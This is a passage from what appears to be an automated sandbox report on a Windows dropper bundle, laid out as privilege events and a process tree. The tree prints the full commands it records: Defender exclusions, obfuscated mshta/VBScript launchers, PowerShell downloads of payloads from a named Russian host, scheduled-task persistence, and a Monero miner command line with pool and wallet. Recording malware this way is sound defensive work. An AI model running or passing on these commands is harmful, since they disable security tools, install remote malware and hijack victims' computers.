Token: SeDebugPrivilege	5868	6J9DhsHlsxbkr9duSvJoRQMf.exe
Token: SeDebugPrivilege	5164	4274333.scr
Token: SeDebugPrivilege	4164	mshta.exe
Token: SeDebugPrivilege	5276	j8H0iiE7FffUjYPCQwy4Ndw0.exe
Token: SeDebugPrivilege	5740	uMQbVOrE7Exej1OQ9TeZvKdT.exe
Token: SeDebugPrivilege	3612	1770398.scr
Token: SeDebugPrivilege	5176	Chrome 5.exe
Token: SeDebugPrivilege	7076	AdvancedRun.exe
Token: SeImpersonatePrivilege	7076	AdvancedRun.exe
Token: SeTcbPrivilege	5808	svchost.exe
Token: SeTcbPrivilege	5808	svchost.exe
Token: SeDebugPrivilege	1100	7004368.scr
Token: SeDebugPrivilege	5756	wIfUKb9OUma8cevksY8UfY4p.exe
Token: SeDebugPrivilege	6740	taskkill.exe
Token: SeDebugPrivilege	5800	_Z7jFlgEumZ8QvwJf_Qpn17K.exe
Token: SeDebugPrivilege	5780	Ojmym2xnZM4b4TIrnAhORk16.exe
Token: SeDebugPrivilege	3428	6163078.scr

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5860	setup.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4164 wrote to memory of 2352	4164	setup_x86_x64_install.exe	85
PID 4164 wrote to memory of 2352	4164	setup_x86_x64_install.exe	85
PID 4164 wrote to memory of 2352	4164	setup_x86_x64_install.exe	85
PID 2352 wrote to memory of 2900	2352	setup_installer.exe	86
PID 2352 wrote to memory of 2900	2352	setup_installer.exe	86
PID 2352 wrote to memory of 2900	2352	setup_installer.exe	86
PID 2900 wrote to memory of 1332	2900	setup_install.exe	90
PID 2900 wrote to memory of 1332	2900	setup_install.exe	90
PID 2900 wrote to memory of 1332	2900	setup_install.exe	90
PID 2900 wrote to memory of 1524	2900	setup_install.exe	91
PID 2900 wrote to memory of 1524	2900	setup_install.exe	91
PID 2900 wrote to memory of 1524	2900	setup_install.exe	91
PID 2900 wrote to memory of 1516	2900	setup_install.exe	92
PID 2900 wrote to memory of 1516	2900	setup_install.exe	92
PID 2900 wrote to memory of 1516	2900	setup_install.exe	92
PID 2900 wrote to memory of 484	2900	setup_install.exe	93
PID 2900 wrote to memory of 484	2900	setup_install.exe	93
PID 2900 wrote to memory of 484	2900	setup_install.exe	93
PID 2900 wrote to memory of 1532	2900	setup_install.exe	94
PID 2900 wrote to memory of 1532	2900	setup_install.exe	94
PID 2900 wrote to memory of 1532	2900	setup_install.exe	94
PID 2900 wrote to memory of 1736	2900	setup_install.exe	95
PID 2900 wrote to memory of 1736	2900	setup_install.exe	95
PID 2900 wrote to memory of 1736	2900	setup_install.exe	95
PID 2900 wrote to memory of 3036	2900	setup_install.exe	96
PID 2900 wrote to memory of 3036	2900	setup_install.exe	96
PID 2900 wrote to memory of 3036	2900	setup_install.exe	96
PID 2900 wrote to memory of 2216	2900	setup_install.exe	97
PID 2900 wrote to memory of 2216	2900	setup_install.exe	97
PID 2900 wrote to memory of 2216	2900	setup_install.exe	97
PID 2900 wrote to memory of 4756	2900	setup_install.exe	98
PID 2900 wrote to memory of 4756	2900	setup_install.exe	98
PID 2900 wrote to memory of 4756	2900	setup_install.exe	98
PID 2900 wrote to memory of 2064	2900	setup_install.exe	100
PID 2900 wrote to memory of 2064	2900	setup_install.exe	100
PID 2900 wrote to memory of 2064	2900	setup_install.exe	100
PID 1516 wrote to memory of 2132	1516	cmd.exe	99
PID 1516 wrote to memory of 2132	1516	cmd.exe	99
PID 1516 wrote to memory of 2132	1516	cmd.exe	99
PID 1524 wrote to memory of 2248	1524	cmd.exe	101
PID 1524 wrote to memory of 2248	1524	cmd.exe	101
PID 1524 wrote to memory of 2248	1524	cmd.exe	101
PID 1332 wrote to memory of 2744	1332	cmd.exe	108
PID 1332 wrote to memory of 2744	1332	cmd.exe	108
PID 1332 wrote to memory of 2744	1332	cmd.exe	108
PID 2900 wrote to memory of 2508	2900	setup_install.exe	102
PID 2900 wrote to memory of 2508	2900	setup_install.exe	102
PID 2900 wrote to memory of 2508	2900	setup_install.exe	102
PID 2900 wrote to memory of 2856	2900	setup_install.exe	103
PID 2900 wrote to memory of 2856	2900	setup_install.exe	103
PID 2900 wrote to memory of 2856	2900	setup_install.exe	103
PID 484 wrote to memory of 2704	484	cmd.exe	106
PID 484 wrote to memory of 2704	484	cmd.exe	106
PID 484 wrote to memory of 2704	484	cmd.exe	106
PID 1532 wrote to memory of 2964	1532	cmd.exe	105
PID 1532 wrote to memory of 2964	1532	cmd.exe	105
PID 1532 wrote to memory of 2964	1532	cmd.exe	105
PID 2216 wrote to memory of 3188	2216	cmd.exe	104
PID 2216 wrote to memory of 3188	2216	cmd.exe	104
PID 2216 wrote to memory of 3188	2216	cmd.exe	104
PID 1736 wrote to memory of 3200	1736	cmd.exe	107
PID 1736 wrote to memory of 3200	1736	cmd.exe	107
PID 1736 wrote to memory of 3200	1736	cmd.exe	107
PID 4756 wrote to memory of 3784	4756	cmd.exe	110

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1332
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2744
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1524
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon20762bc3f6.exe
        
        Mon20762bc3f6.exe
        5⤵
        Executes dropped EXE
        
        PID:2248
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1516
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon206b909958ed4.exe
        
        Mon206b909958ed4.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:2132
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2132 -s 284
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5108
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:484
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon20927aab1e5.exe
        
        Mon20927aab1e5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2704
      - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        
        PID:904
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1532
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon204014f13870f5e.exe
        
        Mon204014f13870f5e.exe
        5⤵
        Executes dropped EXE
        
        PID:2964
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 284
        6⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:1276
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1736
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon203f01ac7e6.exe
        
        Mon203f01ac7e6.exe
        5⤵
        Executes dropped EXE
        
        PID:3200
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon203f01ac7e6.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:4876
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon203f01ac7e6.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon203f01ac7e6.exe") do taskkill /F -Im "%~NxU"
        7⤵
        
        PID:340
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        
        PID:2376
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        
        PID:4712
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        
        PID:2740
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        
        PID:3776
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        
        PID:5192
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        
        PID:6644
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        
        PID:6768
        
        C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        11⤵
        
        PID:6956
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
        12⤵
        
        PID:2460
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
        13⤵
        
        PID:7756
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
        14⤵
        
        PID:7828
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F -Im "Mon203f01ac7e6.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2412
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe
      4⤵
      PID:3036
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon206d48916f93c5.exe
        
        Mon206d48916f93c5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4752
      - C:\Users\Admin\AppData\Roaming\3680476.scr
        
        "C:\Users\Admin\AppData\Roaming\3680476.scr" /S
        6⤵
        
        PID:2472
      - C:\Users\Admin\AppData\Roaming\7981568.scr
        
        "C:\Users\Admin\AppData\Roaming\7981568.scr" /S
        6⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4760
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:484
      - C:\Users\Admin\AppData\Roaming\4274333.scr
        
        "C:\Users\Admin\AppData\Roaming\4274333.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5164
      - C:\Users\Admin\AppData\Roaming\7004368.scr
        
        "C:\Users\Admin\AppData\Roaming\7004368.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:1100
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209c830507d573.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2216
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon209c830507d573.exe
        
        Mon209c830507d573.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3188
      - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon209c830507d573.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon209c830507d573.exe
        6⤵
        Executes dropped EXE
        
        PID:4164
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4756
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon2083f8d8970a0b2d.exe
        
        Mon2083f8d8970a0b2d.exe
        5⤵
        Executes dropped EXE
        
        PID:3784
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3784 -s 320
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe
      4⤵
      PID:2064
    - - C:\Users\Admin\AppData\Local\Temp\7zS039F99F3\Mon20d3b8b752.exe
        
        Mon20d3b8b752.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3352
      - C:\Users\Admin\Pictures\Adobe Films\bq33aU9kBicXaOJhWVoC6VyT.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\bq33aU9kBicXaOJhWVoC6VyT.exe"
        6⤵
        Executes dropped EXE
        
        PID:4452
      - C:\Users\Admin\Pictures\Adobe Films\16_b1Yh703oziIszeU1NPjU8.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\16_b1Yh703oziIszeU1NPjU8.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5820
        
        C:\Users\Admin\AppData\Local\Temp\fl.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fl.exe"
        7⤵
        
        PID:10636
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/farm_money.exe', (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe')" & exit
        8⤵
        
        PID:6876
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:6784
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        
        PID:5608
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        9⤵
        
        PID:9524
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/farm_money.exe', (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe'))"
        9⤵
        
        PID:5692
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe'))"
        9⤵
        
        PID:10180
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe')"
        9⤵
        
        PID:7340
        
        C:\Users\Admin\AppData\Local\Temp\gfhfg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\gfhfg.exe"
        10⤵
        
        PID:8652
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\gfhfg.exe"
        11⤵
        
        PID:9452
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        12⤵
        
        PID:5608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        13⤵
        
        PID:9724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        13⤵
        
        PID:2064
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "shrome" /tr "C:\Windows\system32\shrome.exe"
        12⤵
        
        PID:9712
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "shrome" /tr "C:\Windows\system32\shrome.exe"
        13⤵
        Creates scheduled task(s)
        
        PID:8760
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Windows\system32\shrome.exe"
        12⤵
        
        PID:10660
        
        C:\Windows\system32\shrome.exe
        
        C:\Windows\system32\shrome.exe
        13⤵
        
        PID:10508
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Windows\system32\shrome.exe"
        14⤵
        
        PID:4988
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        15⤵
        
        PID:6356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        16⤵
        
        PID:572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        16⤵
        
        PID:7676
        
        C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
        
        "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
        15⤵
        
        PID:10428
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "/sihost32"
        16⤵
        
        PID:10576
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe')"
        9⤵
        
        PID:8660
        
        C:\Users\Admin\AppData\Local\Temp\Fsdgde.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Fsdgde.exe"
        10⤵
        
        PID:8948
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Fsdgde.exe"
        11⤵
        
        PID:10184
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        12⤵
        
        PID:8148
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        13⤵
        Creates scheduled task(s)
        
        PID:8040
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Windows\system32\services64.exe"
        12⤵
        
        PID:3696
        
        C:\Windows\system32\services64.exe
        
        C:\Windows\system32\services64.exe
        13⤵
        
        PID:11052
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Windows\system32\services64.exe"
        14⤵
        
        PID:3792
        
        C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        15⤵
        
        PID:9412
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "/sihost64"
        16⤵
        
        PID:10656
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows/System32\cmd.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:5555 --user=44z5DkTXSYBfYECbt5TdQ2SUpyAQJmmGubyUsWqzcByeKwxwsWSZabZQMuE39hedNcTL15eK8kHrAeZMUdGGmHQHBzNH5db --pass=bandit --cpu-max-threads-hint=10 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=2 --cinit-idle-cpu=90 --cinit-stealth
        15⤵
        
        PID:6896
      - C:\Users\Admin\Pictures\Adobe Films\B8ZhTE5jHTcEam_YTCluHO_C.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\B8ZhTE5jHTcEam_YTCluHO_C.exe"
        6⤵
        Executes dropped EXE
        
        PID:5812
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Pictures\Adobe Films\B8ZhTE5jHTcEam_YTCluHO_C.exe"
        7⤵
        
        PID:10288
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        8⤵
        Delays execution with timeout.exe
        
        PID:10556
      - C:\Users\Admin\Pictures\Adobe Films\_Z7jFlgEumZ8QvwJf_Qpn17K.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\_Z7jFlgEumZ8QvwJf_Qpn17K.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:5800
      - C:\Users\Admin\Pictures\Adobe Films\Ojmym2xnZM4b4TIrnAhORk16.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Ojmym2xnZM4b4TIrnAhORk16.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:5780
      - C:\Users\Admin\Pictures\Adobe Films\m98lVpWjYfPQQ9GWIssANpXx.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\m98lVpWjYfPQQ9GWIssANpXx.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5772
      - C:\Users\Admin\Pictures\Adobe Films\Pim9WLd7YFsjqoSmza2tnM0t.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Pim9WLd7YFsjqoSmza2tnM0t.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5764
      - C:\Users\Admin\Pictures\Adobe Films\wIfUKb9OUma8cevksY8UfY4p.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\wIfUKb9OUma8cevksY8UfY4p.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5756
      - C:\Users\Admin\Pictures\Adobe Films\Sp3TU8JIqWE0REvP3oxfSpDT.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Sp3TU8JIqWE0REvP3oxfSpDT.exe"
        6⤵
        Executes dropped EXE
        
        PID:5748
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5748 -s 236
        7⤵
        Program crash
        
        PID:2536
      - C:\Users\Admin\Pictures\Adobe Films\uMQbVOrE7Exej1OQ9TeZvKdT.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\uMQbVOrE7Exej1OQ9TeZvKdT.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5740
        
        C:\Users\Admin\Pictures\Adobe Films\uMQbVOrE7Exej1OQ9TeZvKdT.exe
        
        "uMQbVOrE7Exej1OQ9TeZvKdT.exe"
        7⤵
        Executes dropped EXE
        
        PID:5796
        
        C:\Users\Admin\Pictures\Adobe Films\uMQbVOrE7Exej1OQ9TeZvKdT.exe
        
        "uMQbVOrE7Exej1OQ9TeZvKdT.exe"
        7⤵
        
        PID:2124
        
        C:\Users\Admin\Pictures\Adobe Films\uMQbVOrE7Exej1OQ9TeZvKdT.exe
        
        "uMQbVOrE7Exej1OQ9TeZvKdT.exe"
        7⤵
        Executes dropped EXE
        
        PID:6268
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6268 -s 148
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:6676
      - C:\Users\Admin\Pictures\Adobe Films\a2zoKg5bWLOzbx1pHsQ1TopI.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\a2zoKg5bWLOzbx1pHsQ1TopI.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5728
      - C:\Users\Admin\Pictures\Adobe Films\g6K7wmnFrCyTNUC6U77_v8GU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\g6K7wmnFrCyTNUC6U77_v8GU.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5716
        
        C:\Users\Admin\Pictures\Adobe Films\g6K7wmnFrCyTNUC6U77_v8GU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\g6K7wmnFrCyTNUC6U77_v8GU.exe"
        7⤵
        
        PID:580
      - C:\Users\Admin\Pictures\Adobe Films\j2GjQTQ2COPCCNWh2mxv5jpx.exe
        
